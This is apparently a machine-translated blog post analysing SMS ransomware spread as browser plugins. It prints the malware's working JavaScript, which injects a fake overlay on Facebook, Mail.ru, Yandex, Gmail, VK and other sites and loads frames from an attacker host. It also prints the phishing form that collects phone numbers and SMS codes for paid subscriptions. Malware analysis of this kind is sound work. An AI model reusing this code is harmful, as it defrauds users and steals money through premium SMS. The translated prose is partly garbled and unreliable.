ब्राउज़र प्लगइन्स के एक सेट के रूप में एसएमएस रैंसमवेयर

दूसरे दिन मैं ब्राउज़रों के लिए प्लग-इन के सेट के रूप में एक ताज़ा एसएमएस-रैनसमवेयर लेकर आया। मैं बिल्कुल नहीं कह सकता कि वह कार पर कैसे चढ़ा, लेकिन मुझे पता है कि उसके अंदर क्या है। इस महीने की पांचवीं तारीख से आईई के लिए प्लग-इन के संकलन तिथियों को देखते हुए, टुकड़ा ताजा है।





तो, यह संक्रमण ऊपर स्क्रीनशॉट में दिखाया गया है। फेसबुक, Mail.ru, Yandex, Google, Rambler और सहपाठियों के लिए भी भिन्नताएं हैं:





यह मशीन पर स्थापित सभी ब्राउज़रों में दिखाई देता है। फोन नंबर दर्ज करते समय, वह 1005 से एक एसएमएस भेजता है, "हां" का जवाब देने के लिए कहता है, जिसमें प्रतिवादी 135 रूबल खर्च होंगे (और, सबसे अधिक संभावना है, कुछ बकवास के लिए एक सदस्यता)। जिस तरह से, यह चक उपयोगकर्ता में लॉग इन की ओर से संदेश भेजने के लिए लगा हुआ है।

यह देखा जा सकता है कि "व्यवसाय" किसी तरह की गुणवत्ता की मांग करने लगा। प्रत्येक सेवा अपने स्वयं के विंडो डिज़ाइन का उपयोग करती है। इस तथ्य के कारण कि सब कुछ ब्राउज़र प्लग-इन के माध्यम से कार्यान्वित किया जाता है, उपयोगकर्ता सब्सट्रेट में अपने खाते को देखता है, जो एक निश्चित डिग्री का कारण बनता है। खैर, चूंकि अब मेजबान (किसी भी स्कूली बच्चे को इसके बारे में पहले से ही पता है) में कोई भी कचरा लिखना फैशनेबल नहीं है, एक वैकल्पिक दृष्टिकोण का उपयोग किया गया था।





तो, संकलक में क्रोम, IE और FF, ऑपेरा के लिए उपयोगकर्ता नाम के लिए प्लगइन्स शामिल हैं।

अंदर थोड़ा अलग है। सभी एक ही जावास्क्रिप्ट कोड को निष्पादित करते हैं:

function my_addLoadEvent(func) { if(document.readyState == 'complete'){ func(); } else{ var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } } var cur_url = document.location.toString(); if('https:' == document.location.protocol) { if (typeof(testInformer) === 'undefined') { var testInformer = 1; var tstImg = new Image(); tstImg.src = 'http://dreamselfprotection.net/check.php'; tstImg.onload = function(){ var ex_url = cur_url.split('/'); var the_host = ex_url[2]; if(the_host.substr(0,4) == 'www.') the_host = the_host.substr(4); var in_hosts = { 'facebook.com' : 'facebook', 'my.mail.ru' : 'mymailru', 'otvet.mail.ru' : 'mailru', 'games.mail.ru' : 'mailru', 'love.mail.ru' : 'mailru', 'news.mail.ru' : 'mailru', 'mail.ru' : 'mailru', 'e.mail.ru' : 'mailru', 'mail.yandex.ru' : 'mailyandex', 'yandex.ru' : 'mailyandex', 'ya.ru' : 'mailyandex', 'mail.google.com' : 'gmail', 'accounts.google.com' : 'gmail', 'gmail.com' : 'gmail', 'google.com' : 'gmail', 'google.ru' : 'gmail', 'vk.com' : 'vkontakte', 'vkontakte.ru' : 'vkontakte', 'odnoklassniki.ru' : 'odnoklassniki', 'rambler.ru' : 'rambler', 'mail.rambler.ru' : 'rambler', 'nova.rambler.ru' : 'rambler', 'news.rambler.ru' : 'rambler' }; if(typeof(in_hosts[the_host]) !== 'undefined'){ my_addLoadEvent(function(){ var div = document.createElement('div'); div.style.position = 'fixed'; div.style.left = '0px'; div.style.top = '0px'; div.style.zIndex = '100000'; div.style.background = '#fff'; div.style.width = '100%'; div.style.height = '100%'; div.style.opacity = '0.8'; div.style.filter = 'alpha(opacity=80)'; var innerDiv = document.createElement('div'); innerDiv.style.position = 'fixed'; innerDiv.style.left = '50%'; innerDiv.style.top = '50%'; innerDiv.style.marginLeft = '-200px'; innerDiv.style.marginTop = '-125px'; innerDiv.style.zIndex = '100001'; innerDiv.style.background = '#fff'; innerDiv.style.width = '400px'; innerDiv.style.height = '250px'; innerDiv.innerHTML = '<iframe width="100%" height="100%" frameborder="0" scrolling="no" src="http://dreamselfprotection.net/real_iframe.php?template='+in_hosts[the_host]+'&from='+the_host+'"></iframe>'; document.getElementsByTagName('body')[0].appendChild(div); document.getElementsByTagName('body')[0].appendChild(innerDiv); }); } } } } else { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = false; sc.src = 'http://dreamselfprotection.net/iframe.php'; var b = document.getElementsByTagName('body')[0];b.appendChild(sc); } 

उपरोक्त कोड परीक्षण छवि को लोड करता है (जाहिरा तौर पर, बस जाँच कर रहा है कि सर्वर अभी भी जीवित है), आइफ्रेम के लिए आवश्यक पैरामीटर पास करता है, जिसे वह पृष्ठ के शीर्ष पर सम्मिलित करता है।

real_iframe.php फ्रेम की सामग्री के लिए जिम्मेदार है, निम्नलिखित उत्पन्न होता है:

 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="stylesheet" type="text/css" href="styles/.css?rnd=1355016550" /> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> </head> <body> <div class="header">- </div> <div id="contentBlock"> <div class="desc_text">  ip   .     . ,      .</div> <div class="regForm"> <label for="phone" class="phoneLabel">   :</label> <input type="tel" name="phone" id="phone" class="phone" /> <input type="submit" class="regButton" value="" onclick="registration();return false;" /> <div style="clear:both"></div> <div class="example">: 79161234567</div> </div> </div> <div style="clear:both"></div> <div class="error"></div> <div class="loading">...</div> <script type="text/javascript"> function keyfunc(){ alert(window.event.keyCode); } function showError(txt) { $('.error').html(txt); $('.error').fadeIn(); setTimeout('$(".error").fadeOut()',1000); } function loading(s) { if(s == 1) { $('.loading').show(); //$('.regButton').attr('disabled', 'disabled'); } else { $('.loading').hide(); //$('.regButton').removeAttr('disabled'); } } var temp = {'phone' : ''}; var mt = 1; var loaded = 0; function registration() { var reg = new RegExp("79|89", "i"); var reg2 = new RegExp("[^0-9]", "i"); var phone_num = $('#phone').val(); var hash = 'bbfae214e1fc9e75b95d64724529eeb9'; if((phone_num.length!=11) || (reg2.test(phone_num) ==true)) { showError('   '); } else { loading(1); $.post('request.php',{'c':'reg','num':phone_num,'user':hash,'from':''},function(data){ temp.phone = phone_num; var a = jQuery.parseJSON(data); if(a.redirect) { $('#contentBlock').html('<div class="desc_text">          .</div><br/><input style="margin-left:10px;" type="button" class="regButton" value="" onclick="window.open(\''+a.redirect+'#TextBoxActivationCode\',\'\',\'toolbar=0,location=0,menubar=0,directories=0,resizable=0,scrollbars=0,width=360,height=280\');" />'); } else { if(a.success) { if(a.mo) { mt = 0; moCode(); } else { mt = 1; enterCode(phone_num); } } else { showError(a.error); } } loading(0); }); //mt = 0; //moCode(); } } function moCode() { $('#contentBlock').html('<div class="desc_text"> ,     ,      .</div>' +'<div class="regForm">' +'<label for="code" class="phoneLabel"> :</label>' +'<input type="text" name="code" id="code" class="phone" />' +'<input type="button" class="regButton" onclick="checkCode()" value="" />' +'<div style="clear:both"></div>' +'<br/><a href="#" onclick="mainWindow();return false;" class="reCodeLink">  .</a>' +'</div>'); } function enterCode(phone) { if(!phone) { phone = 79; } $('.cl_info').html('     .     .'); $('.cl_form').html('<label> : </label>' +'<input type="text" value="'+phone+'" id="phone" maxlength="11" DISABLED /><br>' +'<label>: </label>' +'<input type="text" value="" id="code" maxlength=""><br/>'); $('#controlLink').html(' .').attr('onclick','mainWindow()'); $('#mbutton').attr('onclick','checkCode()'); } function mainWindow() { $('#contentBlock').html('<div class="desc_text">  ip   .     . ,      .</div>' +'<div class="regForm">' +'<label for="phone" class="phoneLabel">   :</label>' +'<input type="tel" name="phone" id="phone" class="phone" />' +'<input type="button" class="regButton" value="" onclick="registration();return false;" />' +'<div style="clear:both"></div>' +'<div class="example">: 79161234567</div>' +'</div>'); } function checkCode() { var phone = temp.phone; var code = $('#code').val(); loading(1); $.post('request.php',{'c':'code','phone':phone,'code':code,'mt':mt},function(data){ // alert(data); var a = jQuery.parseJSON(data); if(a.success) { document.location.href = '/registered.php?secret=ReallyRegistered'; } else { showError(' '); loading(0); } }); } function rand (min, max) { var argc = arguments.length; if (argc === 0) { min = 0; max = 2147483647; } else if (argc === 1) { throw new Error('Warning: rand() expects exactly 2 parameters, 1 given'); } return Math.floor(Math.random() * (max - min + 1)) + min; } </script> <div style="display:none"> <!--LiveInternet counter--><script type="text/javascript"><!-- document.write("<a href='http://www.liveinternet.ru/click' "+ "target=_blank><img src='//counter.yadro.ru/hit?t52.6;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random()+ "' alt='' title='LiveInternet: number of pageviews and visitors"+ " for 24 hours is shown' "+ "border='0' width='88' height='31'><\/a>") //--></script><!--/LiveInternet--> </div> </body> </html> 

यहां सब कुछ कमोबेश पारदर्शी है। विंडो की सामग्री प्रदर्शित की जाती है, आवश्यक सीएसएस को खींच लिया जाता है, फॉर्म को मान्य किया जाता है, और यदि यह वैध है, तो सब कुछ request.php को भेजा जाता है, जो वास्तव में, प्लास्टिक मीडिया LLC के गेटवे के माध्यम से एसएमएस भेजता है। दो महत्वपूर्ण विवरण यहाँ ध्यान देने योग्य हैं:

1. दर्ज किए गए कोड के सत्यापन को लागू किया और खिड़की को हटा दिया (परीक्षण नहीं किया गया)।
2. आंकड़े liveinternet.ru काउंटर द्वारा रखे गए हैं।

यही है, दृष्टिकोण काफी गहन है, लेकिन अंतराल हैं:

1. सर्वर बेकार तैनात है। उदाहरण के लिए, टाइमज़ोन सेट नहीं किया गया है, phpinfo और SSH बंद नहीं हैं, जो कि अधिक या कम विचार वाले कोड के साथ काफी दृढ़ता से विपरीत है। या तो प्रशासक केवल काम करेगा, या प्रोग्रामर इसे अपने दम पर करेगा, विस्तार से नहीं समझना चाहिए कि क्या काम करना चाहिए। दोनों मामलों में, विक्रेता के पास गधे द्वारा ले जाने का एक मौका है।
2. यह बात, इस तथ्य के बावजूद कि विक्रेता को अपने कर्म को बर्बाद करने की गारंटी है, और शायद कर्म से थोड़ा अधिक, सभ्य पैसा लाता है। अन्यथा, इस बकवास के डेवलपर को खसखस ​​में CS6 फ़ोटोशॉप (इस तथ्य को नहीं कि लाइसेंस प्राप्त है) पर नहीं बैठा होगा। वैसे, Adobe सभी चित्रों में अद्वितीय हैश को एम्बेड करता है। सिद्धांत रूप में, वे कमीने की पहचान कर सकते हैं।

ईमानदार होने के लिए, मुझे नहीं पता कि यह सब क्या करना है, लेकिन मुझे उम्मीद है कि यह दिलचस्प था।